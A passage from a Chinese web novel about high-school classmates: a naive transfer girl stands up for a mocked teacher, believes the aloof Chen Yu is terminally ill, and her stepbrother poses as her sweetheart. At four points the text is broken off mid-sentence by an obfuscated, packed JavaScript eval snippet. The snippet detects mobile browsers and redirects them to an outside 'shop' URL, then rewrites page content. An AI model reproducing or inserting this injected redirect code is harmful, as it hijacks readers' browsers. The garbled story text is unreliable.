孟一格将林黛蜜拉过来,安慰道:“好了好了,别跟那俩货一般见识,那又不是人。” 第二节自习,胡波板着脸进来,一言未发,进来便坐在讲桌旁,目光扫过每个人的脸,陈喻本打算睡觉的,可一闭上眼睛,脑海中反复萦绕着同一句话。 你们不去跟老师道歉吗? 真是见鬼了! 吵闹的又不止他一个,为什么只要求他道歉?还不是欺负他,长了一张人畜无害的帅脸。 她林黛蜜以为自己是法官?再说了,他一道歉,肯定有人说他抽风,本来他就不招人待见。 陈喻换了个姿势,继续睡,孟源注意到他的动作,无语道,“哥,你屁股底下有钉子啊?” 陈喻坐直了身子,白了他一眼。 他盯着女孩儿白净的脖子,挺直的脊背,要是他没记错的话,从上节课开始,她就一直保持着这个乖学生姿势,陈喻不禁在想,她这种生物的脑回路,到底是怎么形成的。 孟源凑到陈喻耳边提醒道,“大哥,你已经看了人家五分钟了。” 陈喻懒得搭理他,站起身,朝讲台走去,别人想说什么就说吧,反正又不是第一次被指指点点。 注意到这边的动作,全班几十个脑袋齐刷刷竖起来。 “对不起老师,我们上课再也不打闹了,我错了。” 没有任何铺垫,这句零帧起手的道歉,唬住了所有人,包括胡波,他张开的嘴巴里,能塞进去一个几十瓦的大灯泡。 说完后,也没等其他人反应过来,陈喻就回到了座位,林黛蜜眨着大眼睛看孟一格,对方朝她竖起了大拇指。 陈喻觉得林黛蜜肯定又想多了,他去道歉,并不是因为她,他只是想快点说完好睡觉,不过,他也懒得跟她解释。 第二个晚自习,就在一种诡异的安静中结束了,下课前五分钟,班长张雨倩通知了第二天收一百块钱班费的事情。 收拾书包时,孟一格问林黛蜜:“那个谁……你晚上怎么回去?有没有人和你一起?” “嗯,有人和我一起回家。”林黛蜜把书包背在肩上,回头说,“我小名叫糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958189|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖,你要是愿意的话,可以叫我糖糖。” “行吧。”孟一格突然别扭起来。 林黛蜜能理解这种小尴尬,有时候对方不想直呼你的大名,因为那样显得太生分,可又不敢叫得太亲密,怕对方觉得唐突。 前面两人的对话,被后面陈喻孟源听得一清二楚,下楼梯时,陈喻冒出一了句无厘头的话:“又是黛蜜,又是糖糖,这么甜,不怕得糖尿病。” 孟源:“我看啊,你也别操那个闲心了,反正这块糖,你又吃不到。” “怎么个意思?” 孟源用下巴指了指前面,“看看,我说怎么就从一中转来附中了,原来是因为爱情啊。” 陈喻抬头看过去,距他们大约三百米外,花坛旁边,林黛蜜和一个男生相对而站,男生手里拎着她的书包,两人似乎,在商量着什么。 林黛蜜竖着食指,看上去是想要一个什么东西,男生斜斜站着,无奈看着她,两人看上去关系很好。 “你说,陆知珩怎么会和她认识啊?”旁边传来一道女声。 大概是问出了他心里的问题,陈喻侧头看过去,张雨倩和刘小溪也正看向林黛蜜那边。 她们没说错,男生的确是陆知珩,附中尖子生中的尖子生。 陈喻和陆知珩认识,来六班之前,两人都是重点一班的。 不过,私下里,确实没怎么打过交道,也不知道人怎么样。 他可不会天真地认为,学习好的学生人品就会好,那么蠢的念头,只有老师才会有。 俗话说得好,有德无才是庸才,有才无德是小人,林黛蜜就像个呆瓜似的,会不会被人家骗得团团转。 刘小溪说:“她也没有看上去那么简单,一边勾引陈喻,另一边还吊着陆知珩。” 陈喻洋装咳嗽一声,好让她们注意到自己:“刚才有个词儿你用错了,应该是吸引,以后有这点时间多做做题,就你这水平,考技校人家都不要你。” 说完,他就大步走开了。 孟源看完一出好戏,追上去,“哟,这么快爱上林妹妹了?” 陈喻摆摆手,“别了,谈恋爱是世界上第一大蠢事,我才不会变成那种蠢而不自知的生物。” 初中的时候,陈喻后面坐着一对小情侣,有一天早上,女生将自己扎头发的小皮筋戴在男生手腕上,还说什么,别人看到之后就会知道你是有女朋友的人。 呕! 这话直接让陈喻连吃早餐的胃口都没有了,这还是21世纪,接受了九年义务教育的碳基生物该说出来的话吗? 这种行为简直愚蠢到,他想把后面那一对癫公癫婆打包好,扔进太上老君的炼丹炉重造。 用一个皮筋,就能束缚住一个劣等男性生物吗?要是那么容易,人类干嘛费劲巴拉捣鼓出什么狗屁婚姻制度。 当然了,狗屁婚姻制度也不是什么好东西,托他们家里那对癫公癫婆的福,陈喻老早就明白这一点。 这些道理林呆瓜肯定不明白,罢了,不管怎么样,她今天给我献了一天的殷勤,没有功劳也有苦劳,刚才就算是还她人情了。 8. 08 孟一格说,六班气走了两个班主任,当时林黛蜜只当这句是夸大之词,压根没放在心上,在她的世界观中,同龄人是可爱纯粹的,最多就是顽皮一些,底色是纯良的。 但手里的这张字条,让她第一次怀疑自己,她低头看着纸条上的名字,再抬头看一眼坐着的同学们,才一天时间,她无法将那些好听的名字和人对应起来。 事情是这样的。 早自习时,从前面传来一个纸条,林黛蜜打开一看,上面写着:下节是语文课,根据可靠消息,会有一个叫崔铭的老男人来给我们上课,这个崔铭是其他班不要硬塞给我们的,他上课就跟念经似的,同意换老师的就在下面签字,如果人数过半,我们就可以申请换人。 看完往下传。 林黛蜜把纸条给孟一格看,孟一格“嗤”一声,无所谓道:“又是这一招,老师换了又换,怎么没见他们多考两分。” 所以,这就是问题所在了,六班动不动就要换老师,就这样的班级,让老师心寒,谁敢接手,还谈什么提高成绩,简直是痴人说梦。 孟一格说:“糖糖,你要是不想签,就传下去吧,和咱们没关系。” 陈喻伸手接过纸条,大概扫了一眼后开口:“林糖糖,作为过来人,我劝你啊,别多管闲事,别到时候把人得罪光了,我看你在这个班怎么呆下去。” 林糖糖? 孟一格和孟源都注意到了陈喻称呼上的变化,不动声色对视了一秒。 林黛蜜忙着打抱不平,她一双大眼睛写满执拗,“不,这和我们有关系,我们都属于六班的人,那么在外人看来,即使少数六班人做了恶劣的事情,那么,这顶帽子会平等地扣在每一个人的头上,久而久之,它会压得我们抬不起头来。” “所以,这和我林黛蜜、和你陈喻,和你孟一格,还有你孟源都有关系。” 三人皆被她这一番言论惊到。 林黛蜜看着纸条,捏紧了拳头,她突然站起来,大步走上讲台,把那张纸“啪”一下拍在讲桌上。 “我想耽误大家两分钟。”她板着脸,满脸严肃,“我觉得这样做不妥当,先不说崔老师的教学水平怎么样,首先,你们这种行为就是一种霸凌,你们在仗着自己受保护的身份,刁难别人。” “我才来这个班级一天,所以,这个名单上的人,我一个都对不上,我会当做这件事情没有发生过,毫无芥蒂和你们做同学,也希望你们不要对一个还未出现的老师心存偏见。” 说完,她将那张纸撕了个粉碎。 少女站在讲台上,高马尾,大方整洁的黑白校服,头高高扬起,她的眼睛亮亮的,比钻石还要夺目。 八点多的太阳,溜进教室,斜着打在她的身上,从陈喻的视角,她胸前像是抱着一把发光的宝剑。 教室里安静了几秒,刘小溪不怀好意问道,“喂,林黛蜜,你们家住在海边吗?” “没那么远。”林黛蜜目光落到那个女生身上,认真回答:“我们家住在世贸滨江C栋五单元302。” 众人:“……” 这就是用天真打败魔法吗? 林黛蜜冲那个女生笑:“有空的话,你可以来我们家玩。” 刘小溪不会接了,只能尴尬道:“……行啊,有机会我就去。” 这个小插曲过后,再没人出头给林黛蜜难堪了,不是不想,是她听不懂话外音啊,大家都是受过义务教育的,总不能明着骂人家。 林黛蜜心满意足回到座位,孟一格盯着她看了许久,她在想,林黛蜜是真的听不出来呢,还是她的情商太高总是能巧妙化解尴尬呢。 解决了这件事,林黛蜜心情不错,他说,“一格,你也来我们家玩儿吧,和刚才那个女生一起。” 孟一格:“……” 好吧,她是真傻。 孟一格默默在心里给自己布置了一项任务了,从今以后,在六班,她要保护林黛蜜,谁让林黛蜜选自己做了同桌,她可不能让这么傻的同志被欺负走。 后排的孟源用胳膊肘碰了下陈喻:“你说,林黛蜜这种……超能力,是怎么练就的?我也想学学,这样我妈骂我的时候,我就能把她气得七窍生烟了。” 陈喻手机转着笔:“得了吧,人家那是天然呆,就你,心眼子多得跟蜂窝煤似的,能学会就怪了。” 孟源不甘示弱怼回去,“我心眼子有你多?” 陈喻的目光还落在林黛蜜的后脑勺上,“不过话说回来,就她这样的,小时候没被坏人骗走,她爸妈肯定付出了异于常人的努力。” 孟源乐得直拍大腿,“哈哈哈,你也没放过她。” 很快,语文课来了。 林黛蜜天真地以为,自己仅凭几句话,就扭转了局势,然而事实是,在她正为自己的所做所为感到正义感爆棚而沾沾自喜时,班级里又传着另一张纸条。 大概内容是,班长喊完起立,所有人都不站起来鞠躬,也不说老师好。 他们依旧决定给崔老师一个下马威。当然了,这些事情,是林黛蜜后来才知道的。 眼下的情景是。 崔老师被晾在讲台上,他身材瘦削,个子不高,皮肤有些苍白,像是久未晒过太阳,上身穿一件灰衬衫,外面套着蓝色的旧西装,布料有些褪色,穿在他身上,倒也合理。 头发被他梳得整整齐齐,稀疏地贴在头皮上,看得出来,第一次和学生见面,他用心打理过。 这样旧的人,林黛蜜只在清末民国初期的电视剧里见过,任谁一眼看过去,都觉得他是个脾气温和,特别好说话的人,这一认识,无疑增长了学生们的气焰。 事实也是这样的,班长喊完起立,除了林黛蜜他们四个,没人站起来。 崔老师脸上始终堆着温和的笑容,他缓缓开口,“后面几位同学,请坐下来。” 林黛蜜不服气,她觉得被戏耍,被背叛,她想冲上去,想质问那几十个人,为什么要这样做。 孟一格似乎看穿她的心思,硬是拽着林黛蜜的手坐下,压低声音道,“你要是上去,崔老师会更难堪。” 林黛蜜这才作罢。 讲台上,崔铭将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958190|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里拿着的书轻轻放在讲台上,他的书和他一样旧,上下书角已经卷起,外面包裹着一层老式牛皮纸,给人一种,他们相依为命走过来的感觉。 教室里弥漫着一股躁动的气息,下面大部分人低声交谈着,偶尔传来几声压抑的笑声,像是花钱来看话剧表演的客人。 崔铭后退了一步,目光缓缓扫过教室,没有一丝愠怒,然后,做了一个让所有人都意想不到的动作——他弯下腰,深深地朝学生们鞠了一躬。 教室里瞬间鸦雀无声,方才的絮叨声也消失了,空气仿佛凝固,不知是谁手里的笔慌乱间掉在了桌上,发出清脆的响声。 崔铭的动作缓慢而庄重,就好像,他面对的不是一群心怀恶意想换掉他的学生,而是其他的,很值得他尊敬的人。 很多人沉默,因为羞愧,原本想给崔老师一个下马威,没想到崔铭用这样的方式,让他们意识到了自己的无理和幼稚。 直起腰后,他说:“如果我知道,将要见到的是如此可爱的你们,那我今天会骑那辆最快的摩托车来。” “好了,同学们,我们开始学习吧。” 陈喻坐在后面,手里捏着一支笔,他目光复杂地盯着前面,女孩而单薄的肩膀微微颤抖,头低得很深。 她在哭吗? 对于那些人的恶作剧,他本来不怎么在意,毕竟,比这恶劣的他也见过不少,但现在,陈喻觉得他们应该排着队来向她道歉,都是些什么玩意儿。 陈喻捏着一包面巾纸,手指无意识地摩挲着,心里比孟源那一头炸毛的头发还要乱,烦死了,待会儿下课后,全给他剃了,变成光头送进寺庙去当和尚。 他想做点什么,可林黛蜜哭那么认真,他却不知道该不该打扰她,算起来,两人也不熟,仅有的几次对话都不愉快,就这么贸然地送纸,她会不会以为他喜欢她? 要不,再忍忍吧,她应该快哭完了吧,可她哭得人心烦,陈喻无比挫败地叹口气,这严重影响他学习了。 他的腿有些发麻,便不自觉往前面伸了伸,试图找个舒服的姿势,结果脚往一探,不偏不倚,踢到了前面凳子的横杠上,发出一声低沉的“咚”。 林黛蜜的身体微微一颤,显然感觉到了凳子的震动,她缓缓回过头来,关切道:“陈喻,你身体不舒服吗?” 她没忘了陈喻生病的事情,生命最后的时间,都选择在学校度过,都选择继续学习知识,这样的人,是值得敬佩的。 “没……没有啊。”陈喻对上女孩含泪的眸子,大脑一害羞,临时决定离家出走,他只好从嘴巴里随便扒拉出来一句话,“有……有纸吗?” “有的。”林黛蜜从书包拿出一包纸递给陈喻,“这些都给你。” “谢谢。” 林黛蜜转过身后,陈喻看着手心里除了外包装颜色,其余一模一样的两包纸,挫败到极点,不禁暗骂道,死脑子刚才干嘛去了,他明明是打算送纸的,结果找人家要回来一包,今天晚上别吃饭,干脆吃纸得了。 丢人现眼的玩意儿,没用的东西,找个时间捐了。 9. 09 晚自习结束后,林黛蜜从教室出来,下到最后一层楼梯,她一眼看到靠在大红石柱旁的陆知珩。 她跑过去,毫不客气下达命令:“走吧,陆知珩,买吃的去。” 陆知珩无语地闭了闭眼睛,都快高三了就知道吃。 林黛蜜见他不情愿的样子,搬出杀手锏,“你今天别找什么借口,妈妈已经答应了的。” 昨天放学后,林黛蜜想吃学校门口那家烤年糕还有罐罐烤奶,但陆知珩不答应,还说她要是乱吃东西,就回去告诉林韵,无奈,她只能作罢。 为了吃上这一口,林黛蜜昨天晚上回家后又是撒娇又是假装生气发脾气,软硬兼施才让林韵松了口,两人约定好了,一周可以吃一次。 陆知珩看向不远处,问道,“那是不是找你的?” 顺着陆知珩的目光看过去,楼梯口那里,站着一脸局促的杨雅茹,她手里紧紧攥着书包带。 林黛蜜:“好像是找我的,不过你怎么知道?” 陆知珩清了下嗓子,随意道:“猜的,快过去看看,别让人家等着急了。” 林黛蜜走过去:“杨雅茹,你找我吗?” “嗯。”杨雅茹声细若蚊,“我是来……向你道歉的。” 今天那节语文课之前,她只当林黛蜜是个空有漂亮面孔的女生,但她错了。 杨雅茹挺了解自己,道理明白一大箩筐,但说到行动,她就变成了一个缩头乌龟,她讨厌这样的自己,却也拿这样的自己没办法。 但是林黛蜜不一样,很多事情,以她那简单的思维,或许看不透,但是,只要是她认为对的,她会站出来捍卫,凡事她认为错的,她会出声反对。 林黛蜜懵了:“你为什么要道歉?” “因为今天语文课,我没有站起来,其实……我也觉得故意让老师下不来台这种行为,很恶劣。” 这回林黛蜜明白了,她记得当时,有好几个同学想站起来的,但看看周围的人,又坐了下去,不想变成周围人眼中的异类,以免被冷落、排挤,这是人之常情。 林黛蜜思忖片刻,说:“我觉得你不应该向我道歉,你没有忠于的,不是我,是你内心最真实的想法。” 杨雅茹微微睁大眼睛:“可是我……觉得自己很没用。” 林黛蜜:“怎么会有人没用,你不能这么武断,你完全可以宽容自己,就像宽容别人那样,然后向自己保证,下一次我会勇敢站出来。” 杨雅茹没想到她会说出这样一番话,她盯着女孩的眼睛看了几秒,才重重点头:“嗯,我听你的。” 林黛蜜拍拍她的肩膀准备离开,却被拉住了手腕,她抬眼,撞上杨雅茹充满希冀的目光,“那个……我今天听到孟一格叫你糖糖,我以后,也可以这样叫你吗?” “你应该叫她虫虫,跟屁虫的那个虫。” 后面冷不丁冒出来这样一句,林黛蜜扭头,陆知珩不知道什么时候站在她的斜后方,“喂,你怎么偷听别人说话。” “林黛蜜,你才来我们学校几天,我认识她比你早,是吧杨雅茹。” 杨雅茹没想到陆知珩会主动和自己说话,忙不迭点点头:“是的。” 见他们俩认识,林黛蜜也就没再多说,和杨雅茹告别后,生怕好吃的卖光了,她拉着陆知珩往校外的小吃摊一路狂奔。 到地方后,林黛蜜分配任务,“哥,咱们分头行动,你去买烤年糕,我去买罐罐烤奶。” 她这边排队的人少,没多久就买好了,她回去找陆知珩,却看到陆知珩和陈喻站在一起,不知道两人说了什么,陆知珩抱着胳膊,一副防御的姿态。 见她过来,陆知珩一反常态揽住林黛蜜的肩膀,将手里的烤年糕递给她,语调温柔,“林虫虫,特意给你买的,趁热吃。” 林黛蜜:“?” 她哥这是怎么了? 陈喻瞪一眼陆知珩,占着年纪第一的位置,放学后不回去做题,却占用其他班女生时间的,能是什么好人。 “陈喻,你知道我为什么叫她林虫虫吗?” 陈喻不想知道,但架不住某些人,要自顾自说下去,他总不能用臭袜子堵上人家的嘴。 “我们俩从小一块儿长大,小时候她可笨了,黛蜜三个字,她只会写蜜字下面的虫,于是,她就给自己改名林虫虫。” 说完后,陆知珩熟络地拍着陈喻的肩膀,“哈哈哈哈哈,你说是不是特可爱?” 陈喻:“……” 看他笑得那个傻样,不就是小孩儿不会写名字,哪里可爱了? 林黛蜜观察着陆知珩,自己才离开买了个罐罐烤奶的功夫,他是被什么脏东西附身了吗? 陈喻看一眼林黛蜜:“走了。” “欸,别走啊,你还没买年糕呢?” 说来也巧,陆知珩刚说完这句,旁边摊主阿姨的声音传来,“烤年糕没喽!” 陈喻鼻腔里发出一声冷哼,抬脚正要离开,林黛蜜伸手,下意识握住他的胳膊,他穿着简单的白衬衫,袖子随意地挽到手肘,露出结实的小臂,她能感受到他胳膊传来的温热。 “等等。” 她将陆知珩手里的烤年糕拿过来,不由分说塞给陈喻:“给你吃吧。” 陈喻盯了两秒被她握过的地方,抬眸对上她的目光:“为什么要给我吃?” 陆知珩一记冷眼看向自己那不争气的妹妹,拔高了声调:“凭什么要给他吃?” 林黛蜜将捣乱的陆知珩支走,她抿了抿唇,还能为什么,别以为她没看到,刚才摊主阿姨说烤年糕没了的时候,陈喻眼睛里的光一下子就暗了,像是没分到糖果的小朋友,她猜,吃一次烤年糕应该也是他的遗愿之一吧,电视里不都那么演。 可既然他这么问了,林黛蜜总不能说,你没几天活了,你先吃吧,她可不像胡波那么低情商,老说一些没剩几天啦,等不到参加高考之类的话,每次都戳人家肺管子,勾起人家的伤心事。 “因为你以后就吃不到了,我还有很多机会。”这样说,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958191|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该很委婉,很高情商了吧。 陈喻觉得,她这话无厘头中透着一丝熟悉的感觉,不过转念一想,他出国之后,肯定就吃不到这么好吃的烤年糕了,林黛蜜想表达的应该是这个意思吧。 看吧,他人还没走呢,她就关心他吃不到好吃的年糕,那不是喜欢是什么? 他拿起竹签叉起一块放进嘴里,嚼了两下,然后把剩下的放回林黛蜜手里,“太甜了,你自己吃吧。” 林黛蜜:“烤年糕会很甜吗?” “你尝尝。”等陈喻反应过来,他发现自己已经叉起一块烤年糕喂给了林黛蜜。 他立马谴责自己,死手,你知不知道自己在干嘛!一天天的,就知道闯祸,人家要是误会了怎么办? 陈喻显然多虑了,林黛蜜的注意点不在这里,她眨着眼睛,正在细细品尝年糕甜不甜。 陈喻莫名其妙松了一口气。 林黛蜜觉得烤年糕没有多甜,她想,因为陈喻是病人,他最近吃的东西应该极其清淡,所以他会觉得太甜。 陈喻余光看到陆知珩又出现,他说:“林糖糖,问你个问题呗,你可以选择回答或者不回答,但不能说谎。” “你问。” 他是不会和她谈恋爱的,所以有些话,还是早早说清楚比较好,免得人家姑娘在他身上付出太多,陈喻清了清嗓子,“你是不是……喜欢我?” “喜欢啊。”林黛蜜承认得很既干脆又大方。 陈喻:“?” 他肉眼可见地慌了。 她真的喜欢自己。 这下实锤了。 见他被吓到,林黛蜜笑得直不起腰,“电视剧里不都这样吗?男生会问的问题百分之九十九就是,你是不是喜欢我?” 其实,压根谈不上喜欢吧,虽然陈喻是善良的,但除了父母给的天生好皮囊,其他靠后天习得的闪光点,他没有,严格来说林黛蜜喜欢人的标准,陈喻暂时都不符合。 她喜欢有才华、谦卑、正直、坚强的人,这些词汇,虽然听上去有点假大空,可她始终觉得,这是做人的底色,是轻易是不会改变的。可是陈喻都快死了,就说点让他开心的吧。 “喂,还回不回家了。”陆知珩冲着陈喻离开的背影大声喊道,“林阿姨让我在学校照顾好你,你这么晚回去我怎么交代?” “哥哥,我在这里。”林黛蜜走到陆知珩旁边,伸手在他眼前晃了晃。 陆知珩看一眼自己的傻妹妹,没好气道:“我没瞎。” 他刚才说林阿姨? 这个称呼,好久没出现在陆知珩的嘴里了,记得小时候,林韵总是给林黛蜜买很多漂亮裙子和鞋子。 每当这个时候,陆知珩就会要求林韵给自己买玩具,但他的玩具,已经多到儿童房放不下。 林韵不买,他就会叫她林阿姨,这是要断绝关系的意思,这种行为一般会持续两三天,等陆维正买一个新玩具给他时,他就会叫回妈妈这个称呼。 这次又抽的什么疯。 10. 10 第二天大课间,出完操后,同学们三三两两聊着天,教室后门一阵轻微的骚动,所有人的目光不约而同向那边望去。 顿时,教室里响起一阵窃窃私语,像是风吹过树叶的沙沙声,虽然压着音量,却依旧掩盖不住那股躁动,有人偷偷掏出手机,假装看时间,实则飞快地拍了几张照片,还有人将书立起来,冒出脑袋尖目光一直往门口瞟。 “陆知珩怎么来了?” “不知道啊?” “我去,靠近看更帅。” 陆知珩是全校第一名,长得帅,学习好,被一中的女生奉为高岭之花,平常见他都是在一些大场面,今天怎么跑六班来了。 林黛蜜听见动静,也跟着回头,看到陆知珩斜靠在门框上,手里拎着一个煎饼果子,还有一杯豆浆。 她的眉头微微皱起,正好对上陆知珩那双,带着戏谑的眼睛,心里顿时明白了他的用意,她无奈地叹了口气,心里暗暗吐槽:“他来真的啊!” 昨天回家的路上,陆知珩非说陈喻喜欢她,说为了杜绝她谈恋爱,要扮演她的青梅竹马。 陈喻怎么可能喜欢她呢,他那么拽,再说了妈妈从小就告诉林黛蜜,大部分爱情是劫难,他都生病了,干嘛还要给自己找不痛快。 只见陆知珩慢悠悠走进教室,步伐从容,仿佛完全没注意到周围的目光,他走到林黛蜜桌前,把早餐轻轻放在桌上,语气温柔得让林黛蜜瞬间起了一身鸡皮疙瘩:“早上来得匆忙,怕你没吃早餐,特意给你送来的。” 教室里安静了一秒,随后又是一阵压抑的惊呼和窃笑,有人忍不住嘀咕:“妈呀,好甜!” 陆知珩脸上挂着殷勤的笑容,把那杯尚有余温的豆浆塞给她,还不忘恶心她一句,“豆浆一定要趁热喝。” 看他这样子,林黛蜜想笑,还想吐,她把豆浆推回去,低声说道:“陆知珩,你够了啊。” 但陆知珩显然还没丢够人。他往前又凑了一步,把豆浆硬是往她手里塞,“特意买给你的,怎么还生气了呢?” 林黛蜜手往后缩了缩,咬着牙,“真的不用了,您自己留着喝吧。” 两人一来一回,推搡之间,豆浆杯突然一歪,温热的液体瞬间泼洒出来,林黛蜜被一只手往后拽了半步,然后她就看到,那杯豆浆不偏不倚地全部倒在了陈喻的前胸。 空气仿佛凝固了一秒。 陈喻先扫一眼愣在原地的林黛蜜,然后才低头,看着自己胸前湿漉漉的一片,白色的衬衫被染成了淡黄色,豆浆还顺着衣角滴滴答答地往下流。 陆知珩不明所以地挑了下眉,脸上不但毫无愧意,还一副看热闹的欠揍表情。 林黛蜜反应过来,她拿出一包抽纸,手忙脚乱地帮他擦拭,“对不起啊,我不是故意的。” 陈喻轻笑一下,声音低沉地像是从牙缝里挤出来的,“怎么,我这件衣服看上去想喝豆浆?” 林黛蜜干笑两声:“我会赔你一件新的。” 故意弄脏我的衣服,借机赔我一件新的,林呆瓜啊林呆瓜,这一招也太明显了。 不过该赔的还得赔。 - 放学回家后,林黛蜜把书包往沙发上一扔,第一件事就是抱着林韵的胳膊告状,“妈妈,我哥太烦人了。” 林韵翻动着手里的代理合同,柔声问道:“跟妈妈说说,哥哥又怎么惹你不开心?” “他今天故意去给我送豆浆,结果烫到陈喻了?” “陈喻?”林韵抬头认真询问道:“听上去像个男生的名字。” 陆知珩翘起二郎腿:“林韵女士,别怀疑自己,就是一个拽得要死的二百五。” 林黛蜜不满:“你为什么要那样说他?你知不知道他……” 算了,陈喻生病的事情,她没资格到处说,陆知珩有几个关系好的朋友,一个比一个八卦,要是被他们知道,不出一个小时,附中下水道里的老鼠都会知道。 “林虫虫,我在附中呆了两年,难道还没有你梨了解他?他就是一自命不凡的富二代。” 林黛蜜反驳:“哼,那不一定,有些人认识十年都互相不了解,有些人见第一眼,就知道是知己。” 陆知珩不可置信:“你觉得,他是你知己?” 林黛蜜:“那倒不是,我只是打个比方而已。” 打击人的话,陆知珩都没说,就林黛蜜那一根直肠通到底的性格,还知己,不被卖了帮人家数钱就算好了。 要说这个陈喻吧,还真有点难评,陆知珩记得,高一入学考试的时候陈喻是第一名,他是第二名。 这才一年多的功夫,陈喻就从重点班掉到了平行六班,跑去六班当第一,至于具体的原因,陆知珩不知道,也懒得打听。 林韵将听来的内容整合一番得出结论,“所以你生气的点是,哥哥让你在同学面前丢脸了?” “丢脸倒不至于,我只是觉得他影响我和同学的相处。” “这件事情哥哥的做法可能欠妥,但是糖糖你不能忘了咱们的约定,上大学之前不能谈恋爱哦。” “谈恋爱?”林黛蜜惊讶道:“我没有谈恋爱啊。” “那你实话告诉妈妈,你对这个陈喻是不是有好感?” 陆知珩在一旁煽风点火,“连自己喜欢吃的东西都无条件送出去了,这还没有好感?” “陆知珩,你闭嘴。”林黛蜜瞪一眼陆知珩,再回过头解释,“妈妈,我对他是一种……怜悯之情。” “怎么说?” 林黛蜜睨一眼正在啃苹果的陆知珩,趴在林韵的耳边,解释了自己为什么会关注陈喻。 林韵听完后,惋惜到直叹气,“是个可怜的孩子啊,糖糖你作为同学,确实应该多关心关心他。” 陆知珩:“……” 他这个傻妹妹啊,就会甜言蜜语哄林韵,那个陈喻是什么心思,别人看不出来,难道作为同性别加同龄人的他还看不出来吗?反正有他在,陈喻那小子就休想得逞。 *** 很快到了周五,这天,是崔铭带晚自习,在语文上,林黛蜜是个外行,她没办法分辨出一个老师讲课水平的高低。 不过,听了几节崔铭讲的诗词赏析,林黛蜜意识到,和她以前的语文老师们相比,崔铭的讲课方式更适合自己。 之前的老师是方法派,他说拿到一首诗的第一件事,就是看问题,然后在背诵的模板里找到答题的公式。 崔铭说,自己一直秉持的观点是,语文要靠积累,理解和灵活运用,任何模板和公式都不能成为决定性的依据。 他拿到一首诗,会先看诗人,他会详细介绍这位作者,会讲那一天,诗人遇到了谁,失去了谁,是怎么的心情。 以前林黛蜜最头疼语文课,这些天,她仿佛打开了新世界的大门,原来,人是那么复杂的高级动物。 崔铭说,李白是自卑和自负的,尽管他高力士脱靴,美人呵笔;他还说杜甫要是有钱应该是贾宝玉的模样。 处于两个时空坐标的人,在崔铭那里,是有共通之处的,他讲一首简单的五言诗,呈现在学生眼前的,是干枯的蓬草,慌乱的马蹄,两行清泪,一盏混浊酒,林黛蜜很难想象,崔铭到底读了多少书。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958192|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天晚上,他打算讲解开学考试的作文,主题是,人,如何理解孤独,如何面对孤独。 这次开学考,林黛蜜语文没及格的很大一部分原因,就是作文才得了25分,以前在一中的时候,林黛蜜是老师眼中的好学生,所以就算她写得再烂,语文老师都会给她十来分感情分,以前她还沾沾自喜,及格了就行,不够的找其他科目凑一凑。 结果到了附中,那简直是两眼一抹黑,谁也不认识谁,作文分一扣,当然就不及格了,怪不得语文老师经常说,潮水褪去才知道谁在裸泳。 啧,她还以为说谁呢,结果裸泳的人是自己。 崔铭进来的时候,怀里抱着两本用牛皮纸包起来的书,每一本都有字典那么厚。 他将书轻轻放在讲台上,拿起一根粉笔掰了一半,转身在黑板上写下两个大字“孤独”。 然后转身,含笑看向坐着的同学们,开口的第一句话是,“同学们怎么理解孤独?大家可以和周围的同学讨论一下。” 问题一出口,四个人一个小组,同学们叽叽喳喳讨论起来,林黛蜜和孟一格也挪动板凳朝后坐下。 甫一转身,她便撞上陈喻沉沉的目光,不知道是不是林黛蜜的错觉,她感觉今天陈喻的心情很不美丽,这都快放学了,两人连一个语气词都没有说过。 难道是,病情又恶化了! 唉,他心里肯定很难过。 见她一个劲儿发愣,孟一格碰碰她的胳膊,“糖糖,说说呗,我想知道你的脑回路怎么理解孤独?” 林黛蜜茫然地眨着眼睛,“理解谁?” “孤独啊?”孟一格用笔指了指黑板上的大字,“你刚才没听课啊。” “哦,”林黛蜜搜索片刻,郑重道:“我不理解它。” “噗!”孟源没忍住笑出来,“那你作文咋写的?” 说来惭愧,林黛蜜写跑题了,她先阐明自己不孤独,那怎么才能证明自己不孤独呢,她就写了,自己的家庭多么充满爱,自己的朋友也很好,很多人陌生人都会夸赞她…… 